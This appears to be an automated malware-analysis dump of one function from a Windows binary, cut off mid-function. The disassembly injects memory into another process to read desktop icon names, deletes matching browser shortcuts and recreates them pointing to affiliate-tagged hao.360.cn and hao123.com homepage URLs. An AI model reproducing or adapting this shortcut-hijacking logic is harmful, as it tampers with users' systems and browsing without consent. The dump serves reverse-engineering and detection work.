Function at 0x4238a0
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c4
mov eax, dword [0x453d00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x453b10]
mov edx, dword [eax + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov ecx, 0x453b10
mov dword [ebp - 0x634], esi
mov dword [ebp - 0x63c], edi
call edx
add eax, 0x10
mov dword [ebp - 0x758], eax
lea eax, [ebp - 0x6c4]
push eax
push esi
mov dword [ebp - 0x6c4], edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 0x6c4]
push ecx
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x638], esi
cmp esi, edi
jne 0x42391b
push edi
call fcn.0042ed83
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x1000
push 0x40
push 0
push esi
call edi
push 4
push 0x1000
push 0x200
push 0
push esi
mov dword [ebp - 0x6b8], eax
call edi
push 4
push 0x1000
push 0x10
push 0
push esi
mov dword [ebp - 0x6c0], eax
call edi
mov edi, eax
mov dword [ebp - 0x640], edi
test edi, edi
je 0x427448
cmp dword [ebp - 0x6b8], 0
je 0x427448
mov eax, dword [ebp - 0x6c0]
cdq
push 0
push 0
mov dword [ebp - 0x7a8], edx
mov edx, dword [ebp - 0x634]
push 0x1004
push edx
mov dword [ebp - 0x7c4], 1
mov dword [ebp - 0x7a4], 0x200
mov dword [ebp - 0x7ac], eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x630], 0
test eax, eax
jle 0x4273b6
lea eax, [ebp - 0x614]
shr eax, 0x10
mov dword [ebp - 0x72c], eax
jmp 0x4239e0
mov edx, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x630]
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0
push 0x40
lea ecx, [ebp - 0x7c4]
push ecx
push edx
push esi
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x6b8]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push eax
push ecx
push 0x102d
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x6c0]
push 0
push 0x200
lea eax, [ebp - 0x614]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [0x453b10]
mov eax, dword [edx + 0xc]
mov ecx, 0x453b10
call eax
add eax, 0x10
cmp dword [ebp - 0x72c], 0
mov dword [ebp - 0x62c], eax
jne 0x423a9a
lea ecx, [ebp - 0x614]
movzx esi, cx
push 0
push esi
call fcn.004013a0
add esp, 8
test eax, eax
je 0x423aac
push esi
push eax
lea ecx, [ebp - 0x62c]
call fcn.004028e0
jmp 0x423aac
lea edx, [ebp - 0x614]
push edx
lea ecx, [ebp - 0x62c]
call fcn.00402a00
lea eax, [ebp - 0x62c]
push str.3606
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x423ef3
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x423b00
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x423b20
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x423b36
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x423b60
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x423b60
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x67c]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x760]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x67c]
call fcn.00402bf0
mov eax, dword [ebp - 0x760]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x423be4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x67c]
cmp dword [esi - 0xc], 0
jl 0x423c0c
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x423c0c
sub eax, esi
sar eax, 1
je 0x423ece
lea ecx, [ebp - 0x67c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x423ece
push 0x20
push esi
call fcn.0042e2cf
add esp, 8
test eax, eax
jne 0x423c43
mov dword [ebp - 0x628], 0xffffffff
jmp 0x423c4d
sub eax, esi
sar eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x628]
mov edx, dword [esi - 0xc]
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x67c]
call fcn.00421b00
mov edi, dword [ebp - 0x6bc]
cmp dword [edi - 0xc], 0
jge 0x423c7e
or esi, 0xffffffff
jmp 0x423c9b
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x423c95
or esi, 0xffffffff
jmp 0x423c9b
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
push edi
call fcn.0042e2cf
add esp, 8
test eax, eax
jne 0x423caf
or eax, 0xffffffff
jmp 0x423cb3
sub eax, edi
sar eax, 1
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x774]
push ecx
lea ecx, [ebp - 0x6bc]
call fcn.00421b00
mov eax, dword [ebp - 0x774]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x423ced
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x67c]
call fcn.0041f1c0
lea eax, [ebp - 0x6bc]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x423eac
inc dword [0x45669c]
lea ecx, [ebp - 0x310]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
jmp 0x423d90
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x423d90
mov ecx, dword [str.360]
mov edx, dword [0x448cc0]
mov esi, dword [ebp - 0x67c]
mov dword [eax], ecx
mov ecx, dword [0x448cc4]
mov dword [eax + 4], edx
mov edx, dword [0x448cc8]
mov dword [eax + 8], ecx
mov ecx, dword [0x448ccc]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [esi - 8]
mov edx, 1
sub edx, dword [esi - 4]
sub eax, 0x104
or edx, eax
jge 0x423df4
push 0x104
lea ecx, [ebp - 0x67c]
call fcn.00401bb0
mov esi, dword [ebp - 0x67c]
push esi
lea ecx, [ebp - 0x77c]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x414]
push edx
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x77c]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x634]
push edi
push eax
push 0x100e
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x638]
push 0
push 0x10
lea edx, [ebp - 0x624]
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x624]
mov edx, dword [ebp - 0x620]
mov eax, dword [ebp - 0x61c]
mov edi, dword [ebp - 0x6bc]
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x618]
mov dword [ebx + 4], edx
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [ebp - 0x63c], 1
jmp 0x423eb2
mov esi, dword [ebp - 0x67c]
lea eax, [edi - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x423ece
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42736f
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
jmp 0x42736f
lea eax, [ebp - 0x62c]
push str.3607
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x4242d2
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x423f45
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x423f61
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
jmp 0x423f80
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x423f80
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x423fa5
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x64c]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x784]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x64c]
call fcn.00402bf0
mov eax, dword [ebp - 0x784]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x424029
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x64c]
cmp dword [esi - 0xc], 0
jl 0x424051
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x424051
sub eax, esi
sar eax, 1
je 0x4242bd
lea ecx, [ebp - 0x64c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4242bd
push 0x20
lea ecx, [ebp - 0x64c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x694]
push eax
lea ecx, [ebp - 0x64c]
call fcn.00421b00
mov edi, dword [ebp - 0x694]
cmp dword [edi - 0xc], 0
jge 0x4240ab
or esi, 0xffffffff
jmp 0x4240c8
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x4240c2
or esi, 0xffffffff
jmp 0x4240c8
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x694]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x778]
push ecx
lea ecx, [ebp - 0x694]
call fcn.00421b00
lea ecx, [ebp - 0x778]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x64c]
call fcn.0041f1c0
lea ecx, [ebp - 0x694]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4242ac
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x424196
mov ecx, dword [0x448c58]
mov edx, dword [0x448c5c]
mov esi, dword [ebp - 0x64c]
mov dword [eax], ecx
mov ecx, dword [0x448c60]
mov dword [eax + 4], edx
mov edx, dword [0x448c64]
mov dword [eax + 8], ecx
mov ecx, dword [0x448c68]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [esi - 8]
mov edx, 1
sub edx, dword [esi - 4]
sub eax, 0x104
or edx, eax
jge 0x4241fa
push 0x104
lea ecx, [ebp - 0x64c]
call fcn.00401bb0
mov esi, dword [ebp - 0x64c]
push esi
lea ecx, [ebp - 0x6c8]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x414]
push edx
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6c8]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x634]
push edi
push eax
push 0x100e
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x638]
push 0
push 0x10
lea edx, [ebp - 0x624]
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x624]
mov edx, dword [ebp - 0x620]
mov eax, dword [ebp - 0x61c]
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x618]
mov dword [ebx + 4], edx
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [ebp - 0x63c], 1
jmp 0x4242b2
mov esi, dword [ebp - 0x64c]
lea ecx, [ebp - 0x694]
call fcn.004021f0
add esi, 0xfffffff0
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jmp 0x4246b4
lea ecx, [ebp - 0x62c]
push 0x448c44
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x4246c9
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x424324
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424340
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x424356
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x424380
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x424380
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x658]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6d4]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x658]
call fcn.00402bf0
mov eax, dword [ebp - 0x6d4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x424404
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x658]
cmp dword [esi - 0xc], 0
jl 0x42442c
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42442c
sub eax, esi
sar eax, 1
je 0x4246a4
lea ecx, [ebp - 0x658]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4246a4
push 0x20
lea ecx, [ebp - 0x658]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x680]
push eax
lea ecx, [ebp - 0x658]
call fcn.00421b00
mov edi, dword [ebp - 0x680]
cmp dword [edi - 0xc], 0
jge 0x424486
or esi, 0xffffffff
jmp 0x4244a3
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42449d
or esi, 0xffffffff
jmp 0x4244a3
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x680]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x75c]
push ecx
lea ecx, [ebp - 0x680]
call fcn.00421b00
lea ecx, [ebp - 0x75c]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x658]
call fcn.0041f1c0
lea ecx, [ebp - 0x680]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x424693
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x424571
mov ecx, dword [0x448c30]
mov edx, dword [0x448c34]
mov esi, dword [ebp - 0x658]
mov dword [eax], ecx
mov ecx, dword [0x448c38]
mov dword [eax + 4], edx
mov edx, dword [0x448c3c]
mov dword [eax + 8], ecx
mov cx, word [0x448c40]
mov dword [eax + 0xc], edx
mov dl, byte [0x448c42]
mov word [eax + 0x10], cx
mov byte [eax + 0x12], dl
mov ecx, dword [esi - 8]
mov eax, 1
sub eax, dword [esi - 4]
sub ecx, 0x104
or eax, ecx
jge 0x4245e1
push 0x104
lea ecx, [ebp - 0x658]
call fcn.00401bb0
mov esi, dword [ebp - 0x658]
push esi
lea ecx, [ebp - 0x6dc]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6dc]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push edi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], 1
jmp 0x424699
mov esi, dword [ebp - 0x658]
lea ecx, [ebp - 0x680]
call fcn.004021f0
add esi, 0xfffffff0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42736f
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
jmp 0x42736f
lea ecx, [ebp - 0x62c]
push str.Internet_Explorer
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x424a6e
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
jmp 0x424720
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x424720
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424740
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x424756
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x424780
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x424780
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x660]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x734]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x660]
call fcn.00402bf0
lea ecx, [ebp - 0x734]
call fcn.004021f0
mov esi, dword [ebp - 0x660]
cmp dword [esi - 0xc], 0
jl 0x424815
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x424815
sub eax, esi
sar eax, 1
je 0x424a63
lea ecx, [ebp - 0x660]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x424a63
push 0x20
lea ecx, [ebp - 0x660]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x69c]
push eax
lea ecx, [ebp - 0x660]
call fcn.00421b00
mov edi, dword [ebp - 0x69c]
cmp dword [edi - 0xc], 0
jge 0x42486f
or esi, 0xffffffff
jmp 0x42488c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x424886
or esi, 0xffffffff
jmp 0x42488c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x69c]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6e4]
push ecx
lea ecx, [ebp - 0x69c]
call fcn.00421b00
lea ecx, [ebp - 0x6e4]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x660]
call fcn.0041f1c0
lea ecx, [ebp - 0x69c]
push str.http:__www.hao123.com__tn95212889_hao_pg
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x424a58
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x108]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x424960
mov eax, dword [ebp - 0x660]
mov ecx, 5
mov esi, str.Internet_Explorer.lnk
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [eax - 8]
mov ecx, 1
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x4249a8
push 0x104
lea ecx, [ebp - 0x660]
call fcn.00401bb0
mov eax, dword [ebp - 0x660]
push eax
lea ecx, [ebp - 0x780]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x780]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], 1
lea ecx, [ebp - 0x69c]
call fcn.004021f0
lea ecx, [ebp - 0x660]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push str.2345
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x424e2d
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x424ac0
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x424ae0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x424af6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x424b20
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x424b20
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x668]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6ec]
push eax
call fcn.00423510
add esp, 8
push eax
